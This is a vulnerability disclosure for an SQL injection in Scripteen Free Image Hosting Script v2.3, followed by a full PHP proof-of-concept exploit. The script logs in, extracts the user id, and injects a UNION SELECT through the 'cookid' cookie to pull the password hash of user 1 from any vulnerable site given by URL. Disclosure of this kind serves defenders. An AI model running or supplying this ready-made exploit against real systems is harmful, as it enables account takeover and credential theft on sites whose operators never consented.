===================
Scripteen Free Image Hosting Script v2.3 SQL Injection vulnerable
===================

The vulnerable: header.php (line 53-62)

 $userid=$_SESSION['userid'];
 $usergid=$_SESSION['usergid'];
 if (!$userid || empty($userid) || $userid==""){
      $userid = $_COOKIE['cookid'];
 }
 if (!$usergid || empty($usergid) || $usergid==""){
      $usergid = $_COOKIE['cookgid'];
 }

As you can see $_COOKIE['cookid'] and $_COOKIE['cookgid'] is not filtered and can be used to do an SQL Injection

===================
Proof of concept
===================
<?php
// *************************************
// Global variables
// *************************************
$g_arguments = getArguments();
$g_url  = isset($g_arguments['url']) ? $g_arguments['url'] : false;
$g_username = isset($g_arguments['username']) ? $g_arguments['username'] : false;
$g_password = isset($g_arguments['password']) ? $g_arguments['password'] : false;
// *************************************

// *************************************
// Print help
// *************************************
if(isset($g_arguments['help']) || $g_url === false || $g_username === false || $g_password === false)
{
 echo "###################################\n";
 echo "#                                  \n";
 echo "# Scripteen Free Image Hosting V2.3\n";
 echo "#      SQL Injection Exploit       \n";
 echo "#      Discovered by Coksnuss      \n";
 echo "#      POC script by Coksnuss      \n";
 echo "#                                  \n";
 echo "###################################\n";
 
 echo "Usage: " . $argv[0] . "\n";
 echo "\t--help - This help\n";
 echo "\t--url=[STR] - URL of a vulnerable site (e.g. http://www.host.de/path/to/script)\n";
 echo "\t--username=[STR] - A valid username to login\n";
 echo "\t--password=[STR] - A valid password to login\n";
 die();
}
// *************************************

// *************************************
// Main
// *************************************
$url = strpos($g_url, '.php') !== false ? dirname($g_url) : $g_url;
if(substr($url, -1, 1) == '/' ) $url = substr($url, 0, -1);

// Get Cookie
echo "Generate cookie...";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL,  $g_url . '/login.php');
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_COOKIEJAR, dirname(__FILE__) . DIRECTORY_SEPARATOR . 'cookie.txt');
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, 'uname=' . urlencode($g_username) . '&pass=' . urlencode($g_password));

$ret = curl_exec($curl);
curl_close($curl);

preg_match_all('/([\d]{1}[.][\d]{1})/', $ret, $matches);
if(!array_search('2.3', $matches[1]))
 echo("\nWarning: It seems like this site do not use version 2.3 of the Scripteen Free Image Hosting Script!\n");

if(!file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'cookie.txt'))
 die('Be sure that you\'ve enabled CURL and have write permission in the script directory!');

echo "DONE\n";

// Get userid
echo "Get userid...";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL,  $g_url . '/profile.php');
curl_setopt($curl, CURLOPT_COOKIEFILE, dirname(__FILE__) . DIRECTORY_SEPARATOR . 'cookie.txt');
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

$ret = curl_exec($curl);
curl_close($curl);

if(!preg_match('/<input type="hidden" name="userid" id="userid" value="([\d]{1,3})"/', $ret, $match))
 die('Couldn\'t retrieve userid! Check your login data again!');

$userid = $match[1];
echo "DONE (" . $userid . ")\n";

// Get the password hash from userid 1
echo "Get the passwordhash from userid 1...\n";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL,  $g_url . '/profile.php');
curl_setopt($curl, CURLOPT_COOKIE, 'cookid=' . $userid . ' UNION SELECT 1,2,password,4,5,6,7,8,9,10,11 FROM users WHERE userid=1; cookgid=3; cookname=' . urlencode($g_username) . '; cookpass=' . md5($g_password));
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

$ret = curl_exec($curl);
curl_close($curl);

if(!preg_match('/<input type="text" name="uname" id="uname" value="([a-z0-9]{32})"/', $ret, $match))
 die('Couldn\'t find the password hash!');

echo "Hash found: " . $match[1] . "\n";
// *************************************

// *************************************
// Global functions
// *************************************
function getArguments()
{
 global $argv;
 
 foreach($argv as $arg)
 {
  if(substr($arg, 0, 2) == '--')
  {
   // In case its an arguments (e.g. --arg='1')
   if(($pos = strpos($arg, '=')) !== false)
   {
    $name = substr($arg, 2, ($pos - 2));
    $value = substr($arg, ($pos + 1));
    
    $args[$name] = $value;
   // Or just a flag (e.g. --help)
   } else {
    $name = substr($arg, 2);
    
    $args[$name] = true;
   }
  } else if($arg == $argv[0]) {
   $args[0] = $argv[0];
  }
 }
 
 return $args;
}
// *************************************
?>